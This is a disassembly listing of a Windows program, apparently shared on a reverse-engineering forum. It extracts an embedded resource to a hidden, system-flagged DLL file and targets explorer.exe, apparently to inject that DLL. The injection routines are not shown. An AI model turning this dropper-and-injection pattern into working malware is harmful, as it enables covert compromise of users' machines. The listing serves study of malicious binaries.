text:00401250 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:00401250 _WinMain@16 proc near ; CODE XREF: start+C9p
.text:00401250
.text:00401250 FileName = byte ptr -12Ch
.text:00401250 var_128 = dword ptr -128h
.text:00401250 var_124 = dword ptr -124h
.text:00401250 var_120 = byte ptr -120h
.text:00401250 var_11F = dword ptr -11Fh
.text:00401250 var_11B = dword ptr -11Bh
.text:00401250 var_117 = dword ptr -117h
.text:00401250 var_113 = dword ptr -113h
.text:00401250 var_10F = word ptr -10Fh
.text:00401250 var_10D = byte ptr -10Dh
.text:00401250 var_10C = byte ptr -10Ch
.text:00401250 hInstance = dword ptr 4
.text:00401250 hPrevInstance = dword ptr 8
.text:00401250 lpCmdLine = dword ptr 0Ch
.text:00401250 nShowCmd = dword ptr 10h
.text:00401250
.text:00401250 sub esp, 12Ch
.text:00401256 mov ecx, dword_406080
.text:0040125C mov edx, dword_406084
.text:00401262 mov eax, dword_40607C
.text:00401267 mov [esp+12Ch+var_128], ecx
.text:0040126B xor ecx, ecx
.text:0040126D mov [esp+12Ch+var_124], edx
.text:00401271 mov [esp+12Ch+var_11F], ecx
.text:00401275 lea edx, [esp+12Ch+FileName]
.text:00401279 mov [esp+12Ch+var_11B], ecx
.text:0040127D push esi
.text:0040127E mov [esp+130h+var_117], ecx
.text:00401282 mov dword ptr [esp+130h+FileName], eax
.text:00401286 mov al, byte_406088
.text:0040128B mov [esp+130h+var_113], ecx
.text:0040128F push edx ; lpFileName
.text:00401290 mov [esp+134h+var_10F], cx
.text:00401295 push offset Type ; "CUSTOM"
.text:0040129A push 66h ; lpName
.text:0040129C mov [esp+13Ch+var_120], al
.text:004012A0 mov [esp+13Ch+var_10D], cl
.text:004012A4 call sub_401310
.text:004012A9 add esp, 0Ch
.text:004012AC lea ecx, [esp+130h+var_10C]
.text:004012B0 push offset aExplorer_exe ; "explorer.exe"
.text:004012B5 call sub_401000
.text:004012BA push 1
.text:004012BC lea ecx, [esp+134h+var_10C]
.text:004012C0 call sub_401130
.text:004012C5 mov esi, ds:Sleep
.text:004012CB
.text:004012CB loc_4012CB: ; CODE XREF: WinMain(x,x,x,x)+8Fj
.text:004012CB lea ecx, [esp+130h+var_10C]
.text:004012CF call sub_401070
.text:004012D4 test eax, eax
.text:004012D6 jnz short loc_4012E1
.text:004012D8 push 1388h ; dwMilliseconds
.text:004012DD call esi ; Sleep
.text:004012DF jmp short loc_4012CB
.text:004012E1 ; ---------------------------------------------------------------------------
.text:004012E1
.text:004012E1 loc_4012E1: ; CODE XREF: WinMain(x,x,x,x)+86j
.text:004012E1 push offset dword_40607C ; lpBuffer
.text:004012E6 lea ecx, [esp+134h+var_10C]
.text:004012EA call sub_4011C0
.text:004012EF lea ecx, [esp+130h+var_10C]
.text:004012F3 call sub_401060
.text:004012F8 xor eax, eax
.text:004012FA pop esi
.text:004012FB add esp, 12Ch
.text:00401301 retn 10h
.text:00401301 _WinMain@16 endp
.text:00401310 ; int __cdecl sub_401310(LPCSTR lpName, LPCSTR lpType, LPCSTR lpFileName)
.text:00401310 sub_401310 proc near ; CODE XREF: WinMain(x,x,x,x)+54p
.text:00401310
.text:00401310 NumberOfBytesWritten= dword ptr -4
.text:00401310 lpName = dword ptr 4
.text:00401310 lpType = dword ptr 8
.text:00401310 lpFileName = dword ptr 0Ch
.text:00401310
.text:00401310 push ecx
.text:00401311 push ebx
.text:00401312 push esi
.text:00401313 push 0 ; lpModuleName
.text:00401315 call ds:GetModuleHandleA
.text:0040131B mov ecx, [esp+0Ch+lpName]
.text:0040131F mov esi, eax
.text:00401321 mov eax, [esp+0Ch+lpType]
.text:00401325 push eax ; lpType
.text:00401326 push ecx ; lpName
.text:00401327 push esi ; hModule
.text:00401328 call ds:FindResourceA
.text:0040132E mov ebx, eax
.text:00401330 test ebx, ebx
.text:00401332 jnz short loc_401338
.text:00401334 pop esi
.text:00401335 pop ebx
.text:00401336 pop ecx
.text:00401337 retn
.text:00401338 ; ---------------------------------------------------------------------------
.text:00401338
.text:00401338 loc_401338: ; CODE XREF: sub_401310+22j
.text:00401338 push ebp
.text:00401339 push edi
.text:0040133A push ebx ; hResInfo
.text:0040133B push esi ; hModule
.text:0040133C mov [esp+1Ch+NumberOfBytesWritten], 0
.text:00401344 call ds:LoadResource
.text:0040134A mov edi, eax
.text:0040134C push edi ; hResData
.text:0040134D call ds:LockResource
.text:00401353 push ebx ; hResInfo
.text:00401354 push esi ; hModule
.text:00401355 mov ebp, eax
.text:00401357 call ds:SizeofResource
.text:0040135D mov edx, [esp+14h+lpFileName]
.text:00401361 push 0 ; hTemplateFile
.text:00401363 push 6 ; dwFlagsAndAttributes
.text:00401365 push 2 ; dwCreationDisposition
.text:00401367 push 0 ; lpSecurityAttributes
.text:00401369 push 7 ; dwShareMode
.text:0040136B push 40000000h ; dwDesiredAccess
.text:00401370 push edx ; lpFileName
.text:00401371 mov ebx, eax
.text:00401373 call ds:CreateFileA
.text:00401379 mov esi, eax
.text:0040137B lea eax, [esp+14h+NumberOfBytesWritten]
.text:0040137F push 0 ; lpOverlapped
.text:00401381 push eax ; lpNumberOfBytesWritten
.text:00401382 push ebx ; nNumberOfBytesToWrite
.text:00401383 push ebp ; lpBuffer
.text:00401384 push esi ; hFile
.text:00401385 call ds:WriteFile
.text:0040138B push esi ; hFile
.text:0040138C call ds:FlushFileBuffers
.text:00401392 push esi ; hObject
.text:00401393 call ds:CloseHandle
.text:00401399 push edi ; hResData
.text:0040139A call ds:FreeResource
.text:004013A0 pop edi
.text:004013A1 pop ebp
.text:004013A2 pop esi
.text:004013A3 mov eax, 1
.text:004013A8 pop ebx
.text:004013A9 pop ecx
.text:004013AA retn
.text:004013AA sub_401310 endp
.data:00406080 dword_406080 dd 32334955h ; DATA XREF: WinMain(x,x,x,x)+6r
.data:00406084 dword_406084 dd 6C6C642Eh ; DATA XREF: WinMain(x,x,x,x)+Cr
.data:00406088 byte_406088 db 0 ; DATA XREF: WinMain(x,x,x,x)+36r
data:0040607C ; WinMain(x,x,x,x):loc_4012E1o
.data:0040607D db 3Ah ; :
.data:0040607E db 5Ch ; \
.data:0040607F db 47h ; G
.data:00406080 dword_406080 dd '23IU' ; DATA XREF: WinMain(x,x,x,x)+6r
.data:00406084 dword_406084 dd 'lld.' ; DATA XREF: WinMain(x,x,x,x)+Cr
.data:00406088 byte_406088 db 0 ; DATA XREF: WinMain(x,x,x,x)+36r
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
